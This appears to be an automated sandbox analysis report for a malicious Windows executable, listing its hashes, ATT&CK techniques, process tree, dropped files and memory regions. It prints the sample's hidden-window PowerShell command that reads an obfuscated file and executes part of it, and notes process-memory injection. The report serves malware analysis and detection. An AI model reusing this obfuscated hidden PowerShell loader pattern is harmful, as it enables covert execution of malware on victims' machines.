3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8

General

Target

3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe
Size

475KB
MD5

8951c491b26675b308464af7a29567bd
SHA1

883bd6d014e3baf9141b304519fc34eef20eb41f
SHA256

3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8
SHA512

48f909538c8d04839c4a3a0327774e92070a79872231f360a1ce9a4a60ea0f8a7c0bc273787bf0ee07608fabaa56fdf66ca468a1501ecc09e45ed2943ea91134
SSDEEP

12288:/qgowhL+Pylw1QeQMQukEsvs5uT8JGjD8WpyLk8n:xR+a3M0ee8JG38lr

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1848	powershell.exe

Loads dropped DLL 3 IoCs

pid	Process
2800	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe
2800	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe
2800	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\eduard.lyz	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe
File opened for modification	C:\Program Files (x86)\Common Files\yeastless.Rus	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe
File opened for modification	C:\Program Files (x86)\Common Files\Marrowless\Mutated.ini	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\schematizers.roa	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4156	1848	WerFault.exe	85

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 1848	2800	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe	85
PID 2800 wrote to memory of 1848	2800	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe	85
PID 2800 wrote to memory of 1848	2800	3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe	85

C:\Users\Admin\AppData\Local\Temp\3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe
"C:\Users\Admin\AppData\Local\Temp\3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Nervish=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Airbill\Matriherital.Dem230';$Riptide=$Nervish.SubString(71344,3);.$Riptide($Nervish)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1848 -s 2292
    3⤵
    - Program crash
    PID:4156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1848 -ip 1848
1⤵
PID:4484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n200rh4o.yi5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsz2CFC.tmp\Banner.dll

Filesize
4KB

MD5
843657eaf7240b695624dcf38bb0eb31

SHA1
ca99a44e737fdeaab56f864ce1ef15a57d2eec90

SHA256
b935d14c32ad8e16055f7f5794ac3411e601c5ac93155afc623f25b08e2ab82e

SHA512
7773d9f6bbd17253d1c96ce225b2f9d3673969b38177afef236d1c5d4aabaae2c07793e07c34f0281ec3b859ae955e83bfe43a598ce7cc6c893ec8c9604f5de3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsz2CFC.tmp\BgImage.dll

Filesize
7KB

MD5
a98576f0d6b35b466cb881860977fdbc

SHA1
28b3dbbd76f15c876b98dce523100aa3256d193a

SHA256
6cc4aadae46ee3e7f39b411ba087ec29bc10aa62b6b5b44003c934b3c51cefe2

SHA512
29225bfb30e72d7d3d3571e7562b5901dbf2382af1972cc9a2be8e3bef697b9ac9e0aaac3a9bca191da827ad3cfce7f6876e8be9444663e83a7e2e86788a733c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsz2CFC.tmp\nsDialogs.dll

Filesize
9KB

MD5
2c84faebfda2abe3b16fdf374df4272f

SHA1
a5b0258a94e0440aefe1ef320e62e7a9a1c8bb40

SHA256
72b38e4cca0af336655d55501c4ea05080baaa9921a62a2d717afe90bb801004

SHA512
207164cc6914c59d9f4f3b8ae97628c544093ba6ecda9f8da351f453cd97e03be7a640264b8686b2d5e6f3c787f4df1d8a1ebc8e51fd788a97460cd981cc015e

Download Submit
C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Airbill\Matriherital.Dem230

Filesize
69KB

MD5
d0e6726fc557c049a1dfd82c836f7616

SHA1
b66f1491354cdcf555412e4b18387c993c0c005d

SHA256
3a31ac511e35678ba9ec6e4a561c4a33af4bd639f5f8f8cc07a20b6957d73922

SHA512
444858aa6db36f3b551239285a0c9463339874b459a54c376fdbc23a353948764a4c6b18d2e89dcdbf0ca8e8a5a8696c6b78f27ae3109156a679b92f9d3c53b9

Download Submit
memory/1848-29-0x0000000004E00000-0x0000000005428000-memory.dmp

Filesize
6.2MB

Download
memory/1848-43-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

Filesize
120KB

Download
memory/1848-30-0x0000000005430000-0x0000000005452000-memory.dmp

Filesize
136KB

Download
memory/1848-31-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/1848-32-0x00000000056B0000-0x0000000005716000-memory.dmp

Filesize
408KB

Download
memory/1848-27-0x0000000004700000-0x0000000004736000-memory.dmp

Filesize
216KB

Download
memory/1848-42-0x00000000058F0000-0x0000000005C44000-memory.dmp

Filesize
3.3MB

Download
memory/1848-28-0x00000000734C0000-0x0000000073C70000-memory.dmp

Filesize
7.7MB

Download
memory/1848-44-0x0000000005D20000-0x0000000005D6C000-memory.dmp

Filesize
304KB

Download
memory/1848-45-0x0000000006C90000-0x0000000006D26000-memory.dmp

Filesize
600KB

Download
memory/1848-46-0x0000000006220000-0x000000000623A000-memory.dmp

Filesize
104KB

Download
memory/1848-47-0x0000000006240000-0x0000000006262000-memory.dmp

Filesize
136KB

Download
memory/1848-48-0x00000000072E0000-0x0000000007884000-memory.dmp

Filesize
5.6MB

Download
memory/1848-26-0x00000000734CE000-0x00000000734CF000-memory.dmp

Filesize
4KB

Download
memory/1848-50-0x0000000007F10000-0x000000000858A000-memory.dmp

Filesize
6.5MB

Download
memory/1848-52-0x00000000734C0000-0x0000000073C70000-memory.dmp

Filesize
7.7MB

Download

Analysis

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